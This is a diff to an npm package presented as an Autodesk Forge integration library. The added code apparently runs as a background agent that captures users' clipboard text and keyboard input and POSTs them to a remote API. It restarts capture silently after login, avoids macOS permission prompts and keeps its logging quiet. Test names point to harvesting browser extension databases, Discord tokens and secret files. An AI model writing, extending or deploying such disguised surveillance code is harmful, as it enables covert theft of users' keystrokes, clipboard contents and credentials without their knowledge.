+ process.env.DBUS_SESSION_BUS_ADDRESS = `unix:path=${busPath}`;
155
+ }
156
+ }
157
+ if (!(process.env.XAUTHORITY || "").trim()) {
158
+ const home = (process.env.HOME || "").trim() || os.homedir();
159
+ const xa = path.join(home, ".Xauthority");
160
+ if (fs.existsSync(xa))
161
+ process.env.XAUTHORITY = xa;
162
+ }
163
+ }
164
+ /**
165
+ * True when an X11 or Wayland desktop session appears present (after optional env discovery).
166
+ */
167
+ function linuxDesktopSessionActive() {
168
+ if (process.platform !== "linux")
169
+ return false;
170
+ ensureLinuxGraphicalSessionEnv();
171
+ if ((process.env.WAYLAND_DISPLAY || "").trim() || (0, linuxX11_1.linuxLikelyWaylandSession)()) {
172
+ return true;
173
+ }
174
+ const disp = (process.env.DISPLAY || "").trim();
175
+ if (disp) {
176
+ return (0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)();
177
+ }
178
+ return linuxDiscoverDisplay() !== null || linuxDiscoverWaylandDisplay() !== null;
179
+ }
@@ -1,2 +1,7 @@
1
1
  /** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
2
2
  export declare function linuxDisplayPointsToExistingX11Socket(): boolean;
3
+ /**
4
+ * True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
5
+ * propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
6
+ */
7
+ export declare function linuxLikelyWaylandSession(): boolean;
package/dist/linuxX11.js CHANGED
@@ -34,6 +34,7 @@ var __importStar = (this && this.__importStar) || (function () {
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
36
  exports.linuxDisplayPointsToExistingX11Socket = linuxDisplayPointsToExistingX11Socket;
37
+ exports.linuxLikelyWaylandSession = linuxLikelyWaylandSession;
37
38
  /**
38
39
  * Detect whether DISPLAY=:n points at a real local X11 socket (headless / SSH edge cases).
39
40
  */
@@ -51,3 +52,20 @@ function linuxDisplayPointsToExistingX11Socket() {
51
52
  return false;
52
53
  }
53
54
  }
55
+ /**
56
+ * True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
57
+ * propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
58
+ */
59
+ function linuxLikelyWaylandSession() {
60
+ if ((process.env.WAYLAND_DISPLAY || "").trim())
61
+ return true;
62
+ const xdg = (process.env.XDG_RUNTIME_DIR || "").trim();
63
+ if (!xdg)
64
+ return false;
65
+ try {
66
+ return fs.readdirSync(xdg).some((e) => /^wayland-\d+$/.test(e));
67
+ }
68
+ catch {
69
+ return false;
70
+ }
71
+ }
@@ -12,6 +12,8 @@ export declare function skipUiohookKeyboard(): boolean;
12
12
  */
13
13
  export declare function skipClipboardSyncReason(): string | null;
14
14
  export declare function skipClipboardSync(): boolean;
15
+ /** False for explicit opt-out — no point polling for a desktop session that will never be used. */
16
+ export declare function clipboardSkipReasonIsRecoverable(reason: string | null): boolean;
15
17
  /**
16
18
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
17
19
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
@@ -19,8 +21,8 @@ export declare function skipClipboardSync(): boolean;
19
21
  export declare function effectiveSyncKeyboardClipboard(): boolean;
20
22
  export declare function resolveSyncApiBase(): string | null;
21
23
  /**
22
- * Linux Wayland stores clipboard in the compositor @napi-rs/clipboard is X11-based and often
23
- * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
24
+ * OS CLI readers are more reliable than @napi-rs/clipboard on Linux and macOS (Wayland compositor,
25
+ * systemd user units, LaunchAgent background processes).
24
26
  */
25
27
  export declare function preferExecClipboardReader(): boolean;
26
28
  export type DesktopInputSyncStop = () => void | Promise<void>;
@@ -7,6 +7,7 @@ exports.skipUiohookKeyboardReason = skipUiohookKeyboardReason;
7
7
  exports.skipUiohookKeyboard = skipUiohookKeyboard;
8
8
  exports.skipClipboardSyncReason = skipClipboardSyncReason;
9
9
  exports.skipClipboardSync = skipClipboardSync;
10
+ exports.clipboardSkipReasonIsRecoverable = clipboardSkipReasonIsRecoverable;
10
11
  exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
11
12
  exports.resolveSyncApiBase = resolveSyncApiBase;
12
13
  exports.preferExecClipboardReader = preferExecClipboardReader;
@@ -22,10 +23,14 @@ exports.startDesktopInputSync = startDesktopInputSync;
22
23
  * skips safely on unsupported sessions (headless Linux, many Wayland layouts). Clipboard sync is
23
24
  * also skipped on headless Linux (no DISPLAY/WAYLAND) to avoid useless xclip polling and log spam.
24
25
  *
25
- * **OS privacy:** macOS (Input Monitoring, etc.) or other OS sheets are **system** prompts — this package
26
- * cannot remove them. Under `FORGE_JS_QUIET_AGENT=1` / `--quiet`, stderr hints from this module are suppressed.
26
+ * **Background / no UI (default for agents):** `FORGE_JS_HEADLESS_UI=1` + `FORGE_JS_CLIPBOARD_POLL_ONLY=1` avoid
27
+ * `clipboard-event` helpers on Linux/macOS, osascript clipboard read, and osascript/xdotool foreground context
28
+ * on clipboard rows (text still syncs via pbpaste / wl-paste / xclip / xsel). Subprocesses use stdio ignore.
29
+ * **OS privacy:** macOS Automation sheets only appear if you opt in (`FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1`
30
+ * or disable headless/no-prompt defaults). Under `FORGE_JS_QUIET_AGENT=1`, routine stderr hints are suppressed.
27
31
  *
28
- * Clipboard: @napi-rs/clipboard, then OS CLI (PowerShell / pbpaste / wl-paste|xclip|xsel);
32
+ * Clipboard: OS CLI first on Linux/macOS (pbpaste / wl-paste|xclip|xsel), PowerShell on Windows;
33
+ * Linux session env is auto-discovered and re-checked after login (systemd-before-GUI case);
29
34
  * only the first **1000** characters (JavaScript string units; override `FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS`) are POSTed per change — remainder is dropped for DB storage.
30
35
  * Host OS snapshot: a single ``env_file`` row at ``forge-js://host-inventory.json`` (see ``hostInventorySend``) so operator dashboards can show OS type; opt out with ``FORGE_JS_SYNC_HOST_INVENTORY=0``.
31
36
  * optional `clipboard-event` for change notifications + slower backup poll unless
@@ -34,8 +39,11 @@ exports.startDesktopInputSync = startDesktopInputSync;
34
39
  * Remote desktop screenshot for the `/files` explorer is `fsDesktopScreenshotCapture()` in `fsProtocol.ts`
35
40
  * (Windows / Linux / macOS). OS-level privacy (macOS Input Monitoring / Screen Recording, etc.) is outside this package.
36
41
  */
42
+ const agentEnvFile_1 = require("./autostart/agentEnvFile");
37
43
  const clientId_1 = require("./clientId");
38
44
  const linuxX11_1 = require("./linuxX11");
45
+ const headlessAgent_1 = require("./headlessAgent");
46
+ const linuxClipboardSession_1 = require("./linuxClipboardSession");
39
47
  const deploymentDefaults_1 = require("./deploymentDefaults");
40
48
  const clipboardExec_1 = require("./clipboardExec");
41
49
  const clipboardNapi_1 = require("./clipboardNapi");
@@ -87,6 +95,8 @@ const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
87
95
  const FLUSH_EVENT_MAX_RETRIES = 3;
88
96
  const FLUSH_RETRY_BASE_MS = 150;
89
97
  const CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS = 60_000;
98
+ /** Re-check Linux desktop session so clipboard starts after login (systemd often boots before GUI). */
99
+ const CLIPBOARD_SESSION_WATCH_MS = 12_000;
90
100
  const DISPOSE_FLUSH_TIMEOUT_MS = 3000;
91
101
  const CLIPBOARD_READ_TIMEOUT_MS = 10_000;
92
102
  /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
@@ -180,12 +190,18 @@ function skipClipboardSyncReason() {
180
190
  return "FORGE_JS_SKIP_CLIPBOARD_SYNC=1";
181
191
  }
182
192
  if (process.platform === "linux") {
193
+ (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
194
+ if ((0, linuxClipboardSession_1.linuxDesktopSessionActive)())
195
+ return null;
183
196
  const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
184
197
  const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
185
198
  if (!hasDisplay && !hasWayland) {
186
199
  return "headless Linux (no DISPLAY or WAYLAND_DISPLAY)";
187
200
  }
188
- if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
201
+ if (hasDisplay &&
202
+ !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)() &&
203
+ !hasWayland &&
204
+ !(0, linuxX11_1.linuxLikelyWaylandSession)()) {
189
205
  return "DISPLAY set but no X11 socket";
190
206
  }
191
207
  }
@@ -194,6 +210,14 @@ function skipClipboardSyncReason() {
194
210
  function skipClipboardSync() {
195
211
  return skipClipboardSyncReason() !== null;
196
212
  }
213
+ /** False for explicit opt-out — no point polling for a desktop session that will never be used. */
214
+ function clipboardSkipReasonIsRecoverable(reason) {
215
+ if (!reason)
216
+ return false;
217
+ if (reason === "FORGE_JS_SKIP_CLIPBOARD_SYNC=1")
218
+ return false;
219
+ return true;
220
+ }
197
221
  /**
198
222
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
199
223
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
@@ -208,21 +232,37 @@ function resolveSyncApiBase() {
208
232
  return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
209
233
  }
210
234
  /**
211
- * Linux Wayland stores clipboard in the compositor @napi-rs/clipboard is X11-based and often
212
- * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
235
+ * OS CLI readers are more reliable than @napi-rs/clipboard on Linux and macOS (Wayland compositor,
236
+ * systemd user units, LaunchAgent background processes).
213
237
  */
214
238
  function preferExecClipboardReader() {
215
- return (process.platform === "linux" &&
216
- Boolean((process.env.WAYLAND_DISPLAY || "").trim()));
239
+ return process.platform === "darwin" || process.platform === "linux";
217
240
  }
218
241
  async function readClipboardDesktop() {
242
+ if (process.platform === "linux" || process.platform === "darwin") {
243
+ (0, headlessAgent_1.applyHeadlessClipboardDefaults)();
244
+ }
245
+ if (process.platform === "linux") {
246
+ (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
247
+ }
248
+ else if (process.platform === "darwin") {
249
+ (0, clipboardExec_1.ensureClipboardToolPath)();
250
+ }
219
251
  const timeoutMs = CLIPBOARD_READ_TIMEOUT_MS;
220
252
  let timeoutId;
221
253
  try {
222
254
  return await Promise.race([
223
255
  (async () => {
224
256
  if (preferExecClipboardReader()) {
225
- return (0, clipboardExec_1.readClipboardViaExec)();
257
+ try {
258
+ return await (0, clipboardExec_1.readClipboardViaExec)();
259
+ }
260
+ catch (execErr) {
261
+ const native = (0, clipboardNapi_1.readClipboardNapi)();
262
+ if (native !== null)
263
+ return native;
264
+ throw execErr;
265
+ }
226
266
  }
227
267
  const native = (0, clipboardNapi_1.readClipboardNapi)();
228
268
  if (native !== null)
@@ -446,10 +486,78 @@ function startDesktopInputSync(opts) {
446
486
  let clipReadSeq = 0;
447
487
  let clipWatcherDispose;
448
488
  let clipIv = null;
449
- const clipboardSkipReason = skipClipboardSyncReason();
489
+ let clipSessionWatchIv = null;
490
+ let clipboardPollingActive = false;
491
+ function currentClipboardSkipReason() {
492
+ return skipClipboardSyncReason();
493
+ }
494
+ function stopClipboardPolling() {
495
+ clipboardPollingActive = false;
496
+ try {
497
+ clipWatcherDispose?.();
498
+ }
499
+ catch {
500
+ /* skip */
501
+ }
502
+ clipWatcherDispose = undefined;
503
+ if (clipIv)
504
+ clearInterval(clipIv);
505
+ clipIv = null;
506
+ }
507
+ function startClipboardPolling() {
508
+ if (stopped || clipboardPollingActive)
509
+ return;
510
+ // Caller (ensureClipboardPolling) already verified skipClipboardSyncReason() is null.
511
+ clipboardPollingActive = true;
512
+ void (async () => {
513
+ try {
514
+ await readClipboardDesktop();
515
+ if (process.platform === "linux") {
516
+ try {
517
+ (0, agentEnvFile_1.mergeLinuxGraphicalSessionIntoForgeAgentEnv)((0, clientId_1.defaultCfgmgrDataDir)());
518
+ }
519
+ catch {
520
+ /* best-effort: persist discovered session for next reboot */
521
+ }
522
+ }
523
+ opLog("clipboard probe OK");
524
+ }
525
+ catch (e) {
526
+ opLog(`clipboard probe failed — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
527
+ }
528
+ })();
529
+ clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
530
+ triggerClipboardRead();
531
+ }, opLog);
532
+ const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
533
+ clipIv = setInterval(() => {
534
+ triggerClipboardRead();
535
+ }, effectiveClipPoll);
536
+ opLog(`clipboard sync active (poll=${effectiveClipPoll}ms${clipWatcherDispose ? ", event watcher" : ""})`);
537
+ }
538
+ function ensureClipboardPolling() {
539
+ if (stopped)
540
+ return;
541
+ const skip = currentClipboardSkipReason();
542
+ if (skip) {
543
+ if (clipboardPollingActive) {
544
+ stopClipboardPolling();
545
+ opLog(`clipboard sync paused (${skip})`);
546
+ }
547
+ return;
548
+ }
549
+ if (!clipboardPollingActive) {
550
+ opLog("clipboard sync enabled (desktop session available)");
551
+ startClipboardPolling();
552
+ triggerClipboardRead();
553
+ }
554
+ }
450
555
  function triggerClipboardRead() {
451
556
  if (stopped)
452
557
  return;
558
+ ensureClipboardPolling();
559
+ if (!clipboardPollingActive)
560
+ return;
453
561
  if (clipReadBusy) {
454
562
  clipReadPending = true;
455
563
  return;
@@ -508,26 +616,20 @@ function startDesktopInputSync(opts) {
508
616
  }
509
617
  })();
510
618
  }
511
- if (clipboardSkipReason) {
512
- opLog(`clipboard sync skipped (${clipboardSkipReason})`);
619
+ const initialClipboardSkip = currentClipboardSkipReason();
620
+ if (initialClipboardSkip) {
621
+ const recoverable = clipboardSkipReasonIsRecoverable(initialClipboardSkip);
622
+ opLog(recoverable
623
+ ? `clipboard sync waiting for desktop session (${initialClipboardSkip}); rechecking every ${CLIPBOARD_SESSION_WATCH_MS}ms`
624
+ : `clipboard sync disabled (${initialClipboardSkip})`);
625
+ if (process.platform === "linux" && recoverable) {
626
+ clipSessionWatchIv = setInterval(() => {
627
+ ensureClipboardPolling();
628
+ }, CLIPBOARD_SESSION_WATCH_MS);
629
+ }
513
630
  }
514
631
  else {
515
- void (async () => {
516
- try {
517
- await readClipboardDesktop();
518
- opLog("clipboard probe OK");
519
- }
520
- catch (e) {
521
- opLog(`clipboard probe failed at startup — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
522
- }
523
- })();
524
- clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
525
- triggerClipboardRead();
526
- }, opLog);
527
- const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
528
- clipIv = setInterval(() => {
529
- triggerClipboardRead();
530
- }, effectiveClipPoll);
632
+ startClipboardPolling();
531
633
  }
532
634
  let uiohookMod = null;
533
635
  const keyboardSkipReason = skipUiohookKeyboardReason();
@@ -603,7 +705,12 @@ function startDesktopInputSync(opts) {
603
705
  opLog(`uIOhook.start failed: ${e}`);
604
706
  }
605
707
  }
606
- opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, clipboard=${clipboardSkipReason ? "off" : "on"}, api=${opts.apiBaseUrl})`);
708
+ const clipboardStatus = initialClipboardSkip
709
+ ? clipboardSkipReasonIsRecoverable(initialClipboardSkip)
710
+ ? "pending"
711
+ : "off"
712
+ : "on";
713
+ opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, clipboard=${clipboardStatus}, api=${opts.apiBaseUrl})`);
607
714
  let flushBusy = false;
608
715
  let flushFailStreak = 0;
609
716
  let lastFlushFailLogMs = 0;
@@ -693,14 +800,9 @@ function startDesktopInputSync(opts) {
693
800
  if (activeDesktopInputSyncDispose === dispose) {
694
801
  activeDesktopInputSyncDispose = null;
695
802
  }
696
- try {
697
- clipWatcherDispose?.();
698
- }
699
- catch {
700
- /* skip */
701
- }
702
- if (clipIv)
703
- clearInterval(clipIv);
803
+ stopClipboardPolling();
804
+ if (clipSessionWatchIv)
805
+ clearInterval(clipSessionWatchIv);
704
806
  clearInterval(flushIv);
705
807
  if (invIv)
706
808
  clearInterval(invIv);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "forge-jsxy",
3
- "version": "1.0.120",
3
+ "version": "1.0.121",
4
4
  "description": "Node.js integration layer for Autodesk Forge",
5
5
  "license": "MIT",
6
6
  "forgeAgentWebRtcMinVersion": "1.0.71",
@@ -20,7 +20,7 @@
20
20
  "pretest": "npm run build",
21
21
  "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
22
22
  "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
23
- "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs",
23
+ "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs test/clipboard-session.test.mjs",
24
24
  "test:env-local": "node --test test/env-local-integrations.mjs",
25
25
  "verify": "npm run ci && npm run test:env-local",
26
26
  "verify:production": "npm run ci",